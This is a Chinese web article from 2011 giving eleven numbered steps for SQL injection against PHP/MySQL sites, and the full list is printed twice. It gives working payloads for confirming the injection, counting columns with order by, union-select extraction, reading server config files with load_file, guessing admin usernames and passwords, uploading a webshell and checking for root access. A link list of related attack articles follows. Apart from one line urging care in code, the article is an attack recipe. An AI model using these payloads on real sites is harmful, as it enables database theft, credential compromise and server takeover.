php注入基本步骤小结
发布时间：2011-04-01 00:43:02 作者：佚名 
我要评论
我要评论php注入基本步骤小结，我们在编写代码的时候一定要注意注入点。
php注入十点基本步骤
1、判断是否存在注入，加'、and 1=1、and 1=2
2、判断版本and ord(mid(version(),1,1))>51/* 返回正常说明是4.0以上版本，可以用union查询
3、利用order by 暴字段，在网址后加 order by 10/* 如果返回正常说明字段大于10
4、再利用union来查询准确字段，如: and 1=2 union select 1,2,3,......./* 直到返回正常报出数字，说明猜到准确字段数。如过滤了空格可以用/**/代替。
（可在分别用user()、database()、version()进行替换报出的数字进而查看信息）
5、判断数据库连接帐号有没有写权限，and (select count(*) from mysql.user)>0/* 如果结果返回错误，那我们只能猜解管理员帐号和密码了。
6、如果返回正常，则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值，用逗号隔开)),8,9,10 /* 注：load_file(char(文件路径的ascii值，用逗号隔开))也可以用十六进制，通过这种方式读取配置文件，找到数据库连接等。
7、首先猜解user表，如: and 1=2 union select 1,2,3,4,5,6....from user/* 如果返回正常，说明存在这个表。
8、知道了表就猜解字段，and 1=2 union select 1,username,3,4,5,6....from user/* 按报出的数字进行替换
9、同理再猜解password字段，猜解成功再找后台登录。
10、登录后台，上传shell。
11、检测是不是root权限 and/**/ord(mid(user(),1,1))=114/*
1、判断是否存在注入，加'、and 1=1、and 1=2
2、判断版本and ord(mid(version(),1,1))>51/* 返回正常说明是4.0以上版本，可以用union查询
3、利用order by 暴字段，在网址后加 order by 10/* 如果返回正常说明字段大于10
4、再利用union来查询准确字段，如: and 1=2 union select 1,2,3,......./* 直到返回正常报出数字，说明猜到准确字段数。如过滤了空格可以用/**/代替。
（可在分别用user()、database()、version()进行替换报出的数字进而查看信息）
5、判断数据库连接帐号有没有写权限，and (select count(*) from mysql.user)>0/* 如果结果返回错误，那我们只能猜解管理员帐号和密码了。
6、如果返回正常，则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值，用逗号隔开)),8,9,10 /* 注：load_file(char(文件路径的ascii值，用逗号隔开))也可以用十六进制，通过这种方式读取配置文件，找到数据库连接等。
7、首先猜解user表，如: and 1=2 union select 1,2,3,4,5,6....from user/* 如果返回正常，说明存在这个表。
8、知道了表就猜解字段，and 1=2 union select 1,username,3,4,5,6....from user/* 按报出的数字进行替换
9、同理再猜解password字段，猜解成功再找后台登录。
10、登录后台，上传shell。
11、检测是不是root权限 and/**/ord(mid(user(),1,1))=114/*
相关文章
本文来介绍一下thinkphp官方修复的一个getshell漏洞，框架对控制器没有进行足够的检测导致的一处getshell，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随2018-12-12记 FineUI 官方论坛discuz所遭受的一次真实网络攻击
这篇文章主要介绍了记 FineUI 官方论坛discuz所遭受的一次真实网络攻击,需要的朋友可以参考下2018-11-30- 这篇文章主要介绍了Linux 下多种反弹 shell 方法,需要的朋友可以参考下2017-09-06
- 这篇文章主要为大家介绍了基于反射的XSS攻击，主要依靠站点服务端返回脚本，在客户端触发执行从而发起Web攻击,需要的朋友可以参考下2017-05-20
- 这篇文章主要介绍了SQL注入黑客防线网站实例分析,需要的朋友可以参考下2017-05-19
- 这里为大家分享一下sql注入的一些语句，很多情况下由于程序员的安全意识薄弱或基本功不足就容易导致sql注入安全问题，建议大家多看一下网上的安全文章，最好的防范就是先学2017-05-19
- 对于目前流行的sql注入,程序员在编写程序时,都普遍的加入防注入程序,有些防注入程序只要在我们提交一些非法的参数后,就会自动的记录下你的IP地址,提交的非法参数和动作等,2017-04-29
- 我们友情进行XSS检查，偶然跳出个小弹窗，其中我们总结了一些平时可能用到的XSS插入方式，方便我们以后进行快速检查，也提供了一定的思路，其中XSS有反射、存储、DOM这三类2016-12-27
- 这篇文章主要介绍了Python 爬虫使用动态切换ip防止封杀的相关资料,需要的朋友可以参考下2016-10-08
- 这篇文章主要介绍了使用爬虫采集网站时，解决被封IP的几种方法的相关资料,需要的朋友可以参考下2016-10-08
最新评论